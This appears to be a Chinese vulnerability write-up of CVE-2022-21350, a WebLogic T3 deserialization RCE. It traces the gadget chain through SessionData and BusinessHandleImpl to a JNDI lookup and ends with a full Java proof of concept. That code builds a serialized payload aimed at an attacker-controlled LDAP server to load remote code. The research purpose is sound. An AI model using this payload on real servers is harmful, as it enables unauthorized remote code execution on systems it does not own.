原文始发于先知社区(Da22le):CVE-2022-21350 WebLogic T3 RCE 简单分析
简介
Oracle Fusion Middleware(组件:Core)的 Oracle WebLogic Server 产品中的漏洞。易于利用的漏洞允许未经身份验证的攻击者通过 T3 访问网络来破坏 Oracle WebLogic Server。成功攻击此漏洞可导致对某些 Oracle WebLogic Server 可访问数据的未经授权的更新、插入或删除访问,以及导致 Oracle WebLogic Server 的部分拒绝服务(部分 DOS)的未经授权的能力。
漏洞版本
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
环境搭建
本次测试环境选择12.2.1.4.0
和jdk1.8.0_181
jdk版本过高会导致命令执行失败,最好是JDK<1.8.191
地址如下:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
然后直接java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
即可
环境搭在ubuntu虚拟机里,接下来拷一下weblogic源码,使用java -jar wljarbuilder.jar
创建wlfullclient.jar并和cryptoj.jar一起放入本地idea项目中
当时调试环境就因为源码不全导致一直出bug
漏洞分析
调用链如下
javax.management.BadAttributeValueExpException.readObject()
weblogic.servlet.internal.session.SessionData.toString()
weblogic.servlet.internal.session.SessionData.isDebuggingSession()
weblogic.servlet.internal.session.SessionData.getAttribute()
weblogic.servlet.internal.session.SessionData.getAttributeInternal()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects()
weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject()
weblogic.ejb20.internal.HomeHandleImpl.getEJBHome()
javax.naming.Context.lookup()
这是一条新的gadget,我从调用链来一步步分析
首先我们来看javax.management.BadAttributeValueExpException#readObject
,里面会跟进到toString()
方法中,这个在cc链中经常用到,也就是说我们想进入那个类的toString()
就给val
进行赋值,值为该类的对象
接下来进入weblogic.servlet.internal.session.SessionData#toString
方法,会先进行isValid()
判断,主要判断HttpSession是否有效,有效的话会进入this.isDebuggingSession()
里进行判断。因为SessionData
是抽象类,因此在构造poc时我们可以通过其子类进行构造,可以使用FileSessionData
类
接下来跟进this.isDebuggingSession()
,会先进行registry.isProductionMode()
判断本地注册表,因为本次是远程调试,因此会直接进入到this.getAttribute("wl_debug_session")
继续跟进到this.getAttribute("wl_debug_session")
,会进行this.check(name)
判断传进来的name
值是否有效和是否为空,接下来会在this.getSecurityModuleAttribute(name)
判断值是否为weblogic.formauth.targeturl
,不等的话返回null,然后进入到this.getAttributeInternal(name)
继续跟进到this.getAttributeInternal(name)
,进行两次空值判断后会进入到AttributeWrapperUtils.unwrapObject(name, (AttributeWrapper)
中,其中this.attributes
是一个Map,也就是说在构造poc时,new一个Map对象,对应的值分别为this.getAttribute("wl_debug_session")
中的wl_debug_session
和一个AttributeWrapper
类型的对象
继续跟进到weblogic.servlet.internal.session.AttributeWrapperUtils#unwrapObject
中,会先获取传进来的Object o
,然后对其进行判断,最后进入wrapper.isEJBObjectWrapped()
中进行判断,而其是一个boolean类型的变量,因此在构造poc时给其赋值true,进入到unwrapEJBObjects()
中
继续跟进到unwrapEJBObjects()
,在该函数内,会对传进来的Object进行判断,而我们需要进入到getBusinessObject()
,因此在构造poc时,构造一个BusinessHandle
的实现类,这里先继续往下跟
继续跟进到weblogic.ejb.container.internal.BusinessHandleImpl#getBusinessObject
中,因为this.businessObject
和this.primaryKey
初始变量都为null,则进入到this.homeHandle.getEJBHome()
。到这里后看上一步需要构造一个BusinessHandle
的实现类,此时的话就要new一个BusinessHandleImpl
对象
继续跟进到weblogic.ejb20.internal.HomeHandleImpl#getEJBHome
中,ctx.lookup()
到这里就很明了了,JNDI注入点,而this.jndiNam
和this.serverURL
我们可控,自此整条链子分析完成
堆栈如下
getInstance:41, EnvironmentManager (weblogic.jndi.spi)
getContext:353, Environment (weblogic.jndi)
getContext:322, Environment (weblogic.jndi)
getInitialContext:131, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
getEJBHome:66, HomeHandleImpl (weblogic.ejb20.internal)
getBusinessObject:160, BusinessHandleImpl (weblogic.ejb.container.internal)
unwrapEJBObjects:149, AttributeWrapperUtils (weblogic.servlet.internal.session)
unwrapObject:122, AttributeWrapperUtils (weblogic.servlet.internal.session)
getAttributeInternal:568, SessionData (weblogic.servlet.internal.session)
getAttribute:547, SessionData (weblogic.servlet.internal.session)
isDebuggingSession:1525, SessionData (weblogic.servlet.internal.session)
toString:1537, SessionData (weblogic.servlet.internal.session)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
漏洞复现
POC如下
package com.supeream;
import weblogic.ejb.container.internal.BusinessHandleImpl;
import weblogic.ejb20.internal.HomeHandleImpl;
import weblogic.servlet.internal.AttributeWrapper;
import weblogic.servlet.internal.session.FileSessionData;
import weblogic.servlet.internal.session.SessionData;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompoundName;
import javax.naming.Name;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ConcurrentHashMap;
public class CVE_2022_21350 {
public static void main(String[] args) throws Exception {
// 过this.isValid()
// 构造HomeHandleImpl,sink点
HomeHandleImpl homeHandle = new HomeHandleImpl();
Field serverURLF = homeHandle.getClass().getDeclaredField("serverURL");
serverURLF.setAccessible(true);
serverURLF.set(homeHandle, "t3://127.0.0.1:7001/");
Properties props = new Properties();
Name name = new CompoundName("ldap://192.168.1.177:1389/vntyei", props);
Field jndiNameF = homeHandle.getClass().getDeclaredField("jndiName");
jndiNameF.setAccessible(true);
jndiNameF.set(homeHandle, name);
// homeHandle设置到BusinessHandleImpl
BusinessHandleImpl businessHandle = new BusinessHandleImpl();
Field homeHandleF = businessHandle.getClass().getDeclaredField("homeHandle");
homeHandleF.setAccessible(true);
homeHandleF.set(businessHandle, homeHandle);
AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);
attributeWrapper.setEJBObjectWrapped(true);
Map map = new ConcurrentHashMap<String, Object>();
map.put("wl_debug_session", attributeWrapper);
SessionData sessionData = new FileSessionData();
Field attributesF = sessionData.getClass().getSuperclass().getDeclaredField("attributes");
attributesF.setAccessible(true);
attributesF.set(sessionData, map);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, sessionData);
serialize(badAttributeValueExpException);
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.flush();
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
这里使用的是Y4er师傅写的python脚本和框架,链接在下面,在分析复现时Y4er师傅帮了我很多,非常感谢!!!
https://github.com/Y4er/CVE-2020-2555
在这里是通过序列化生成一个test.ser
,然后通过python脚本发送到目标服务器,达到RCE的效果
参考链接